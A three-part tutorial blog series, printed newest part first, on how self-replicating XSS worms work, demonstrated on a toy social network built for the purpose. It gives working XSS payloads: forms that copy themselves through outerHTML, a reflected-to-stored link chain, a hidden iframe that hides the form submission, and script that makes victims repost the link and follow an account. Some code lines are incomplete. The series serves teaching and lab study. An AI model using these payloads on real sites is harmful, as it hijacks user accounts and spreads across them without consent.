The Genesis of an XSS Worm – Part III

Be sure you have read parts I here and II here.

We start the XSSbook database population with the dataset:


There are few users with most followers, like any social network.

To make a simple demo, database was populated with just 100 users, the last of them is “brute”.


They all have the same password, “12345678”.

The application looks like this:


The home page shows the posts of those who user follows. In the screenshot above, Brute is following Angela and is able to see its latest post. His profile page shows his number of followers (currently 0) and his “about me” message. Brute’s posts are not shown because he didn’t post yet.

To start the worm spreading, the patient zero is George. He got infected by accessing a link to the search page which contains a reflected XSS:


Loaded script is here. The first 4 lines are the spreading code, which makes the victim post the link that runs the infection (the reflected XSS).

x = new XMLHttpRequest();‘POST’, ‘home.php’, true);
x.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
x.send(‘post=</textarea><br><a href=”‘ + document.URL + ‘”>Check this!</a>’);

To make it work, it closes the current <textarea>, jump to next line and create an anchor with current URL.

In next 4 lines we create an invisible iframe.

fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);

Which will be the target of the form the worm will create (see part I).

Next, we set the form:

fo = document.createElement(‘form’);
fo.setAttribute(‘method’, ‘post’);
fo.setAttribute(‘action’, ‘profile.php?id=100’);
fo.setAttribute(‘target’, ‘myFrame’);

It will post to profile.php with id #100, which means the user “brute”. Target is the invisible iframe.

The single input element comes next:

i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);

This hidden input is the POST ṕarameter “follow”, responsible for the follows in XSSbook. It’s appended in the form. Then:


The value of “follow” is set to “follow”.


Form is appended to document.


Form is finally submitted.

As we see, the worm makes the victim spread its code, by posting the reflected XSS attack and follow the user “brute”.

So we have a social network with 100 users, 463 connections and a working worm. What we need now is to see the infection happening across the users. For this we will make use of the Firefox add-on Selenium IDE.


This script emulates the behavior of a given user: it reads login credentials from a CSV file (exported in a random order from MySQL), types them in the respective fields and after login it clicks on the link posted by someone this user follows.

Here is the final result:


P.S. A similar work, this time in a real world scenario is here by Mohamed Baset.

The Genesis of an XSS Worm – Part II

If you missed, part I of this series is here.

In order to understand our XSS worm in action, we will first see its spreading environment, a very simple social network. XSSbook, as we will call it, is basically the product of a database with just 3 tables:


Let’s see what we have into each one.


Table “users” has the profile of users of the system, with their identification number (id), user to login (user), their name (name), password in MD5 format (pass), email (email) and a field to talk shortly about themselves (about).

Table “posts” stores their posts with date and time, using their ids in the user_id field.

Lastly, table “follows” keeps the relationship between users by means of their ids to define who is following who: in the context of application this means which posts will appear in user’s timeline.

For the interface, a set of  PHP scripts to handle the session, user input and database queries on each feature are enough to make this work.


The greatest challenge now is how to populate the database with fake data as closer as possible to a real world social network. For this, we will make use of bash scripts to generate data files to import into XSSbook. We will also try to follow the power law to reflect what happens with thousands of users connections.

In the next post we will see our XSS worm spreading across this populated database.



The Genesis of an XSS Worm – Part I

The greatest danger of a cross-site scripting (XSS) vulnerability is the possibility of spreading from user to user of an application until the whole user system get infected. Such code capable of doing that is what we call an XSS worm.

In order to better understand how this digital creature works, we will start a brand new journey into the mechanics of the self replicating code needed to make this danger exist.

As always, for didactic purposes, we will keep it simple as possible making use of the essential things only. So we will avoid the use of XHR and similar javascript proceedings, better suited for more complex applications which is not our goal.

Let’s see the simplest case of self replicating XSS, a reflected one. The code below is only the needed to replicate itself.

<a href target=_blank>click</a>

It simply injects a link which will open the current page with the same injection in another browser tab.


Try it here.

Now let’s see a more elaborate one. This page is meant to be used to post comments and it’s vulnerable to stored XSS.

If we use the following code as comment:

<form method=post onclick=elements[0].value=outerHTML;submit()>
<input type=hidden name=comment>click me!</form>

We will be able to make a copy of the injected code every time someone click on “click me!”.


That injection is a form, allowing us to submit content using the POST HTTP method (method=post). When clicked (onclick) it will take the 1st element of the form (elements[0]) which is <input> and set its value to the outerHTML property of the form. This property returns all between <form> and </form>, included. After, the form is submitted (submit()). The input tag contains the string to be clicked (click me!) and the name of the POSTed variable (comment).

For a vector with less user interaction, we can use the event handler onmouseover or similar with CSS tricks to increase the likelihood of triggering to almost automatic.

Although useful, the form tag is unlikely to be allowed in a comment box. The reflected one is much more likely, but not that dangerous. So we will make use of both, combined.

The following code uses a reflected XSS to store a link pointing to itself, so it can spread by means of another user:

<form method=post action="//"
<input type=hidden name=comment>click me!</form>

It works by making a POST request to the comments page (action attribute), like the previous stored example. But instead of using outerHTML to recreate itself in the comment, it creates an anchor (“<a/href=” and “>link</a>” parts) using the value of the current URL document property (URL). It does that by concatenating (%2B is “+” encoded) the tag to the property.

It’s worth to note that usually it’s possible to submit anchors in comments, filters don’t use to block them. All we need is the reflected vulnerability on the same site.

Try it here.


In order to make the attack stealthy, without returning the user to comments page, we add an invisible iframe and point the form to it, with an extra “target=NAME” attribute:

<iframe style=display:none name=x></iframe>
<form method=post action="//"
target=x><input type=hidden name=comment>click me!</form>

Open a tab with a clean comments page (drop comments) and try it here.

In the next part of this series, we will see an unique experiment: the spreading of an XSS worm among several users of a custom social network (a controlled environment) using this code.